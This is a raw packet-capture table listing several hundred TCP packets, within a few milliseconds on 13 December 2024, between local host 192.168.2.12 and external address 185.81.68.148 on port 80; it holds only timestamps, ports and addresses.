Dec 13, 2024 07:49:26.972018003 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972040892 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972065926 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972095966 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972121000 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972148895 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972172022 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972196102 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972218037 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972243071 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972265005 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972290993 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972316980 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972340107 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972362041 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972385883 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972409964 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972434044 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972456932 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972487926 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972507954 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972533941 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972558975 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972584009 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972604036 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972630024 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972651005 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972676992 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972700119 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972723007 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972739935 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972769022 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972793102 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972819090 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972843885 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972870111 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972893953 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972915888 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972942114 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972964048 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.972987890 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973015070 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973033905 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973053932 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973079920 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973103046 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973125935 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973149061 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973176003 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973200083 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973223925 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973249912 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973273993 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973298073 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973326921 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973339081 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973366022 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973388910 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973412037 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973436117 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973459005 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973484039 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973506927 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973536015 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973563910 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973584890 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973608017 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973634005 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973655939 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973680019 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973701954 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973725080 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973750114 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973773956 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973798037 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973822117 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973846912 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973870039 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973898888 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973923922 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973947048 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973972082 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.973995924 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974019051 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974041939 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974064112 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974086046 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974104881 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974131107 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974154949 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974178076 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974201918 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974226952 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974255085 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974280119 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974303961 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974325895 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974349022 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974371910 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974395990 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974420071 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974442005 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974466085 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974488974 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974514008 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974531889 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974555969 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974579096 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974603891 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974627018 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974647045 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974668980 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974695921 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974715948 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974739075 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974760056 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974785089 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974852085 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974874973 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974899054 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974917889 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974944115 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974971056 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.974993944 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975024939 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975049973 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975075006 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975099087 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975122929 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975141048 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975167990 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975191116 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975214005 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975235939 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975258112 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975282907 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975306034 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975332975 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975356102 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975383997 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975406885 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975431919 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975459099 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975481033 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975502014 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975527048 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975548983 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975569010 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975593090 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975616932 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975637913 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975660086 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975682020 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975708008 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975733995 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975756884 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975779057 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975800991 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975825071 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975848913 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975872040 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975894928 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975919008 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975944996 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975969076 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.975989103 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976017952 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976041079 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976068020 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976090908 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976115942 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976138115 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976161957 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976185083 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976207972 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976232052 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976255894 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976275921 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976296902 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976317883 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976342916 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976367950 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976388931 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976417065 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976440907 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976464987 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976489067 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976511955 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976533890 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976553917 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976574898 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976602077 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976625919 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976646900 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976669073 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976692915 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976717949 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976737976 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976763964 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976784945 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976810932 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976834059 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976854086 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976871967 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976903915 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976921082 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976948977 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976972103 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.976994991 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977019072 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977042913 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977066994 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977091074 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977114916 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977138042 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977159023 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977184057 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977200985 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977225065 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977251053 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977274895 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977297068 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977319956 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977375031 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977400064 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977423906 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977446079 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977469921 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977495909 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977514982 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977539062 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977562904 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977586031 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977633953 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977633953 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977648020 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977675915 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977703094 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977726936 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977749109 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977773905 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977798939 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977823973 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977843046 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977869034 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977888107 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977915049 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977935076 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977960110 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.977987051 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978008032 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978034973 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978061914 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978080988 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978106976 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978131056 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978151083 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978216887 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978216887 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978216887 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978239059 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978266954 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978286982 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978308916 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978333950 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978355885 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978380919 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978404045 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978425980 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978447914 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978598118 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978636026 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978667974 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978688955 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978722095 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978741884 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978774071 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978792906 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978821039 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978842974 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978873968 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978898048 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978923082 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978948116 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978979111 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.978996992 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979026079 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979049921 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979077101 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979094028 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979125977 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979146957 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979173899 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979191065 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979224920 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979249001 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979273081 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979300022 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979330063 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979360104 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979372025 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979402065 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979430914 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979453087 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979480982 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979501963 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979531050 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979554892 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979582071 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979607105 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979630947 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979650021 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979685068 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979707003 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979732990 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979756117 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979784966 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979799986 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979835033 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979854107 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979890108 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979904890 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979938030 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979995966 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.979995966 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980017900 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980063915 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980077982 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980096102 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980122089 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980139971 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980175018 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980195045 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980226994 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980248928 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980276108 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980300903 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980329990 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980350971 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980380058 CET	49724	80	192.168.2.12	185.81.68.148
